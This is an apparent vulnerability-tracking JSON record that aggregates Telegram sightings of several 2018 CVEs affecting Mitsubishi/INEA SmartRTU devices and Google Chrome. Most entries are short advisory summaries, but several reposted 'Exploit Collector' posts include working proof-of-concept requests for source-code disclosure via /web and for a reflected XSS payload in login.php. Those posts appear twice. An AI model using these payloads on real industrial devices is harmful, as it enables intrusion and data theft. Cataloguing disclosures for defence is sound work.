{"vulnerability": "CVE-2018-1606", "sightings": [{"uuid": "aa22cf06-d536-4915-a092-d4524047a129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16060", "type": "seen", "source": "https://t.me/cibsecurity/30665", "content": "\u203c CVE-2018-16060 \u203c\n\nMitsubishi Electric SmartRTU devices allow remote attackers to obtain sensitive information (directory listing and source code) via a direct request to the /web URI.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-16T00:28:55.000000Z"}, {"uuid": "bbf64472-317f-494c-beec-be58f03a4c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16061", "type": "seen", "source": "https://t.me/cibsecurity/30666", "content": "\u203c CVE-2018-16061 \u203c\n\nMitsubishi Electric SmartRTU devices allow XSS via the username parameter or PATH_INFO to login.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-16T00:28:56.000000Z"}, {"uuid": "8843360a-6af3-4345-8d0c-1bbb6c571dd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16064", "type": "seen", "source": "https://t.me/VulnerabilityNews/24916", "content": "** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2018-16064. Reason: This candidate is a reservation duplicate of CVE-2018-16064. Notes: All CVE users should reference CVE-2018-16064 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage.\nPublished at: November 02, 2021 at 10:15PM\nView on website", "creation_timestamp": "2021-11-02T23:42:49.000000Z"}, {"uuid": "5ce688ee-c6f3-4366-bf4e-b69f9ad7dd96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16069", "type": "seen", "source": "https://t.me/cibsecurity/5178", "content": "ATENTION\u203c New - CVE-2018-16069\n\nUnintended floating-point error accumulation in SwiftShader in Google Chrome prior to 69.0.3497.81 allowed a remote attacker to leak cross-origin data via a crafted HTML page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-06-27T20:29:27.000000Z"}, {"uuid": "5e1e255c-f4e6-43ed-9a42-11174aa91c4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16064", "type": "seen", "source": "https://t.me/cibsecurity/5179", "content": "ATENTION\u203c New - CVE-2018-16064\n\nInsufficient data validation in Extensions API in Google Chrome prior to 68.0.3440.75 allowed an attacker who convinced a user to install a malicious extension to bypass navigation restrictions via a crafted Chrome Extension.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-06-27T20:29:28.000000Z"}, {"uuid": "336a3de1-a007-4f26-bc62-e8e1ac57002c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16060", "type": "seen", "source": "https://t.me/hacking_Attack/28107", "content": "Exploit Collector\nMitsubishi Electric / INEA SmartRTU Source Code Disclosure\n\nhttps://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png \nMitsubishi Electric and INEA SmartRTU suffer from a source code disclosure vulnerability.\n\nMD5 | 583706d96894839f4f3b86a553072053\n\nDownload\n# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure\n# Date: 2021-17-10\n# Exploit Author: Hamit C\u0130BO\n# Vendor Homepage: https://www.inea.si\n# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/\n# Version: ME RTU\n# Tested on: Windows\n# CVE : CVE-2018-16060\n# PoC\n# Request\n\nGET /web HTTP/1.1\nHost: **.**.**.***\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;\nx64; Trident/5.0)\nConnection: close\n\n# Response\n\nHTTP/1.1 200 OK\nDate: Wed, 08 Aug 2018 08:09:53 GMT\nServer: Apache/2.4.7 (Ubuntu)\nContent-Location: web.tar\nVary: negotiate\nTCN: choice\nLast-Modified: Wed, 19 Nov 2014 09:40:36 GMT\nETag: \"93800-5083300f58d00;51179459a2c00\"\nAccept-Ranges: bytes\nContent-Length: 604160\nConnection: close\nContent-Type: application/x-tar\nReference :\n\nhttps://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHH\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:12.961583Z"}, {"uuid": "f4307bfd-81df-43f3-a8a3-f6a046df3e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16061", "type": "seen", "source": "https://t.me/hacking_Attack/28105", "content": "Exploit Collector\nMitsubishi Electric / INEA SmartRTU Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png \nMitsubishi Electric and INEA SmartRTU suffer from a cross site scripting vulnerability.\n\nMD5 | 1bf870c75a7a097da8ec1aaeb1ba24f0\n\nDownload\n# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS)\n# Date: 2021-17-10\n# Exploit Author: Hamit C\u0130BO\n# Vendor Homepage: https://www.inea.si\n# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/\n# Version: ME RTU\n# Tested on: Windows\n# CVE : CVE-2018-16061\n# PoC\n# Request\n\nPOST\n/login.php/srdzz'onmouseover%3d'alert(1)'style%3d'position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%\n3btop%3a0%3bleft%3a0%3b'bsmy8 HTTP/1.1\nHost: **.**.**.***\nContent-Length: 132\nCache-Control: max-age=0\nOrigin: http://**.**.**.***\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/68.0.3440.84\nSafari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nReferer: http://**.**.**.***sss/login.php\nAccept-Encoding: gzip, deflate\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nCookie: PHPSESSID=el8pvccq5747u4qj9koio950l7\nConnection: close\n\nsubmitted=1&username=--\n%3E%27%22%2F%3E%3C%2FsCript%3E%3CsvG+x%3D%22%3E%22+onload%3D%28co%5Cu006efirm%29%60%60&passw\nord=&Submit=Login\n\n# Response\n\nHTTP/1.1 200 OK\nDate: Wed, 08 Aug 2018 08:14:25 GMT\nServer: Apache/2.4.7 (Ubuntu)\nX-Powered-By: PHP/5.5.9-1ubuntu4\nVary: Accept-Encoding\nContent-Length: 3573\nConnection: close\nContent-Type: text/html\naction='/login.php/srdzz'onmouseover='alert(1)'style='position:absolute;width:100%;height:100%;top:0;left:0;'bsmy8'\nmethod='post' accept-charset='UTF-8'>\nReference :\n\nhttps://drive.google.com/file/d/1DEZQqfpIgcflY2cF6O0y7vtlWYe8Wjjv/view\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.202687Z"}, {"uuid": "66e34662-c7d4-4157-b400-338cc89e6922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16060", "type": "seen", "source": "https://t.me/hacking_Attack/28107", "content": "Exploit Collector\nMitsubishi Electric / INEA SmartRTU Source Code Disclosure\n\nhttps://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png \nMitsubishi Electric and INEA SmartRTU suffer from a source code disclosure vulnerability.\n\nMD5 | 583706d96894839f4f3b86a553072053\n\nDownload\n# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure\n# Date: 2021-17-10\n# Exploit Author: Hamit C\u0130BO\n# Vendor Homepage: https://www.inea.si\n# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/\n# Version: ME RTU\n# Tested on: Windows\n# CVE : CVE-2018-16060\n# PoC\n# Request\n\nGET /web HTTP/1.1\nHost: **.**.**.***\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;\nx64; Trident/5.0)\nConnection: close\n\n# Response\n\nHTTP/1.1 200 OK\nDate: Wed, 08 Aug 2018 08:09:53 GMT\nServer: Apache/2.4.7 (Ubuntu)\nContent-Location: web.tar\nVary: negotiate\nTCN: choice\nLast-Modified: Wed, 19 Nov 2014 09:40:36 GMT\nETag: \"93800-5083300f58d00;51179459a2c00\"\nAccept-Ranges: bytes\nContent-Length: 604160\nConnection: close\nContent-Type: application/x-tar\nReference :\n\nhttps://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHH\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:38.906968Z"}, {"uuid": "0bac4251-5927-4300-8861-891390f0a2b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16061", "type": "seen", "source": "https://t.me/hacking_Attack/28105", "content": "Exploit Collector\nMitsubishi Electric / INEA SmartRTU Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png \nMitsubishi Electric and INEA SmartRTU suffer from a cross site scripting vulnerability.\n\nMD5 | 1bf870c75a7a097da8ec1aaeb1ba24f0\n\nDownload\n# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS)\n# Date: 2021-17-10\n# Exploit Author: Hamit C\u0130BO\n# Vendor Homepage: https://www.inea.si\n# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/\n# Version: ME RTU\n# Tested on: Windows\n# CVE : CVE-2018-16061\n# PoC\n# Request\n\nPOST\n/login.php/srdzz'onmouseover%3d'alert(1)'style%3d'position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%\n3btop%3a0%3bleft%3a0%3b'bsmy8 HTTP/1.1\nHost: **.**.**.***\nContent-Length: 132\nCache-Control: max-age=0\nOrigin: http://**.**.**.***\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/68.0.3440.84\nSafari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nReferer: http://**.**.**.***sss/login.php\nAccept-Encoding: gzip, deflate\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nCookie: PHPSESSID=el8pvccq5747u4qj9koio950l7\nConnection: close\n\nsubmitted=1&username=--\n%3E%27%22%2F%3E%3C%2FsCript%3E%3CsvG+x%3D%22%3E%22+onload%3D%28co%5Cu006efirm%29%60%60&passw\nord=&Submit=Login\n\n# Response\n\nHTTP/1.1 200 OK\nDate: Wed, 08 Aug 2018 08:14:25 GMT\nServer: Apache/2.4.7 (Ubuntu)\nX-Powered-By: PHP/5.5.9-1ubuntu4\nVary: Accept-Encoding\nContent-Length: 3573\nConnection: close\nContent-Type: text/html\naction='/login.php/srdzz'onmouseover='alert(1)'style='position:absolute;width:100%;height:100%;top:0;left:0;'bsmy8'\nmethod='post' accept-charset='UTF-8'>\nReference :\n\nhttps://drive.google.com/file/d/1DEZQqfpIgcflY2cF6O0y7vtlWYe8Wjjv/view\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:39.181655Z"}]}